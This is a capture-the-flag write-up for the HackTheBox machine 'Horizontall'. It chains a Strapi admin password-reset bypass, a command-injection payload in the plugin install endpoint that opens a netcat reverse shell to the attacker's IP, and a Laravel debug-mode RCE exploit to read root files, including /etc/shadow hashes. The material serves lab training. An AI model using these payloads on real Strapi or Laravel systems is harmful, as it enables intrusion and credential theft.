[HackTheBox] Horizontall Writeup

0x00 r3c0n

First things first: start instance, grab IP address, add to /etc/hosts

10.129.34.170   horizontall.htb
/etc/hosts

Nmap scan - all ports:

❯ sudo nmap -sV -sC -p- horizontall.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 22:56 EDT
Nmap scan report for horizontall.htb (10.129.34.170)
Host is up (0.026s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.98 seconds

Standard SSH and HTTP ports open - box has nginx serving traffic through port 80. If we navigate to the page, we see that it is advertising some sort of CMS. Enumeration led me to believe that there has to be some information in the static files, since directory listing pages returned 403 for common paths like /js and /css and 404 for most of my path traversal attempts. Dirbuster did not return anything useful either so the only thing left was looking at any custom scripts that were being served by the site.

Looking at the source for http://horizontall.htb/js/app.c68eb462.js we see a note:

...
//# sourceMappingURL=app.c68eb462.js.

If we make a query to the mapping file, we see the source before obfuscation... nice. A single axios http call being made to a subdomain: http://api-prod.horizontall.htb/reviews. Let's ping it and see what's up:

❯ curl http://api-prod.horizontall.htb/reviews
[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]

It returns a json payload for the reviews that we see on the main page. Nothing particularly useful there but now we have a subdomain we can poke at.

❯ curl http://api-prod.horizontall.htb/
<!doctype html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <title>Welcome to your API</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
    </style>
  </head>
  <body lang="en">
    <section>
      <div class="wrapper">
        <h1>Welcome.</h1>
      </div>
    </section>
  </body>
</html>

❯ dirb http://api-prod.horizontall.htb /usr/share/wordlists/dirb/common.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Aug 29 23:16:31 2021
URL_BASE: http://api-prod.horizontall.htb/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://api-prod.horizontall.htb/ ----
+ http://api-prod.horizontall.htb/admin (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/Admin (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/ADMIN (CODE:200|SIZE:854)
+ http://api-prod.horizontall.htb/favicon.ico (CODE:200|SIZE:1150)
+ http://api-prod.horizontall.htb/index.html (CODE:200|SIZE:413)
+ http://api-prod.horizontall.htb/reviews (CODE:200|SIZE:507)
+ http://api-prod.horizontall.htb/robots.txt (CODE:200|SIZE:121)
+ http://api-prod.horizontall.htb/users (CODE:403|SIZE:60)

-----------------
END_TIME: Sun Aug 29 23:19:01 2021
DOWNLOADED: 4612 - FOUND: 8

The main page for the subdomain serving the APIs was underwhelming, just a plain "Welcome." but if we crank out dirb we end up seeing a /users API returning 403 and even more importantly, an /admin page.

The admin login page for an API framework strapi
The admin login page for an API framework strapi

0x01 f00th01d

This next part took some time. I tried to find some information about strapi and ways to bypass the admin page or maybe some default credentials. Nothing solid turned up. I went back to look at the matrix for the box and noticed that it was really heavy on CVE so I used my best friend (Google) to find two likely candidates:

  1. https://www.cybersecurity-help.cz/vdb/SB2019111505 - Weak password recovery mechanism, and
  2. https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-19609&scoretype=cvssv2 - RCE for install plugin component in admin dashboard

My thinking here was that we could chain these by first bypassing the admin dashboard and then establishing RCE through the plugin install feature. Neither of these had good PoC linked from them; however, I managed to find some PoC for both on personal blog sites.

thatsn0tmysite has a wordpress blog that demonstrates the first issue. Since this vulnerability was fixed in strapi 3.0.0-beta.17.5, we need to make sure that the page is vulnerable. Lucky for us, there is an API for that.

❯ curl http://api-prod.horizontall.htb/admin/strapiVersion
{"strapiVersion":"3.0.0-beta.17.4"}

The version before the fix, that's convenient. Looking at the other CVE for the RCE, we see that it was only fixed in 3.0.0-beta.17.8 so we're in luck there too. From the PoC script, we can see what's happening:

  1. It checks the strapi version - but attempts the exploit regardless
  2. It starts a session and sends the POST requests to reset the password given the email of the admin dashboard user
  3. It prints out the response content - including the JWT

I copy the script and make some small adjustments to not leave the code object empty, as suggested in the blog post, and then run it with what I can only imagine would be the admin email address: admin@horizontall.htb. Has to be, right?

❯ python3 strapi.py admin@horizontall.htb http://api-prod.horizontall.htb asdfqwer1234
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjk2NjkwLCJleHAiOjE2MzI4ODg2OTB9.xw-r7xHTNpw1xmv_-Hf_GISe-m-wFG349vDKBYg9n7E","user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}'

Jackpot! We can head over the admin page again and...

Inside the admin dashboard for strapi

0x02 us3r

I looked around the page but there was no apparent place to upload a plugin so I started Googling again. Bit Therapy - a personal blog - has a post on this exact exploit. All that is needed is a simple POST request to the plugin install endpoint.

❯ curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjk2NzQ3LCJleHAiOjE2MzI4ODg3NDd9.LcVggmyG-F6aA-YYngrEtlhl3IkLJdQW60q2eQXlkXw' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && \$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 4444 >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.129.34.170] 34266
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
developer:x:1000:1000:hackthebox:/home/developer:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
strapi:x:1001:1001::/opt/strapi:/bin/sh

For some reason, the traditional netcat reverse shell does not work but the OpenBSD variant does? The cheat sheet I use: PayloadsAllTheThings.

I didn't realize it at the time but strapi is actually the user we want. The developer user is somewhat of a rabbithole. I found the mysql credentials for the user but this is not their POSIX password and the DB only has the hash for the admin password (the password we had just reset)... If you look in their /home directory though, we have read access to the first flag:

strapi@horizontall:/var/www/html$ ls -al /home/developer
ls -al /home/developer
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25 11:43 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1 12:53 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1 12:47 .bashrc
drwx------  3 developer developer  4096 May 26 12:00 .cache
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------  5 developer developer  4096 Jun  1 11:54 .config
drwx------  3 developer developer  4096 May 25 11:45 .gnupg
drwxrwx---  3 developer developer  4096 May 25 19:44 .local
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4 11:21 .ssh
-r--r--r--  1 developer developer    33 Aug 29 23:36 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null

strapi@horizontall:/var/www/html$ cat /home/developer/user.txt
cat /home/developer/user.txt
2428cf699c59cfeb0e0c1d344e1a5b5c

Side note, I hate simple netcat reverse shells so my favorite way to upgrade when python is installed:

$ which python
/usr/bin/python
$ python -c "import pty; pty.spawn('/bin/bash');"
strapi@horizontall:~/myapi$

0x03 r00t

Basic enumeration - netstat - shows another service listening on port 8000 which we did not have access to before because the port is closed. curl http://localhost:8000 shows that it is running something called Laravel - some type of PHP framework. Even worse, looks like it's running as root #rip.

A little more Googling to find an RCE taking advantage of Laravel debug mode: https://www.exploit-db.com/exploits/49424. Some setup is needed since the box restricts internet access to within the VPN, we have to host the PoC script and phpggc, which is a dependency of the script, on our machine and retrieve it on the box. Finally, once everything is set-up, we get RCE.

strapi@horizontall:/tmp$ python3 exploit.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log whoami
<developer/myproject/storage/logs/laravel.log whoami

Exploit...

root

In terms of the log path, that was somewhat of a guess. I noticed the myproject directory in the developer account but did not have permission to read it. I assumed that this is where the laravel service was executed from (probably could have confirmed through ps aux but I was lazy) and picked the default path for this log relative to the project root. Anyway, here is flag and how to get the root hash you likely needed to view this writeup:

strapi@horizontall:/tmp$ python3 exploit.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log "cat /root/root.txt"
<oject/storage/logs/laravel.log "cat /root/root.txt"

Exploit...

2c65766308fa021a6baac44057c9a571

strapi@horizontall:/tmp$ python3 49424 http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log "cat /etc/shadow"
<yproject/storage/logs/laravel.log "cat /etc/shadow"

Exploit...

root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18772:0:99999:7:::
developer:$6$XWN/h2.z$Y6PfR1h7vDa5Hu8iHl4wo5PkWe/HWqdmDdWaCECJjvta71eNYMf9BhHCHiQ48c9FMlP4Srv/Dp6LtcbjrcVW40:18779:0:99999:7:::
mysql:!:18772:0:99999:7:::
strapi:$6$a9mzQsIs$YENaG2S/H/9aqnHRl.6Qg68lCYU9/nDxvpV0xYOn6seH.JSGtU6zqu0OhR6qy8bATowftM4qBJ2ZA5x9EDSUR.:18782:0:99999:7:::

0x04 f1nal n0t3s

Nice box wail99! Was a little too heavy on the CVE side for my taste, but it was still fun. The box itself took me ~2-3 hours but most of that time was spent messing around/Googling. If I started on time instead of a day late, I would like to think I would have made top 25 for once ;)

This is my first writeup on this new subdomain powered by Ghost. So far, I'm liking it. It seems really extensible and also makes pwn -> writeup/publish time much shorter. I have also added a comment section below, so feel free to leave me feedback.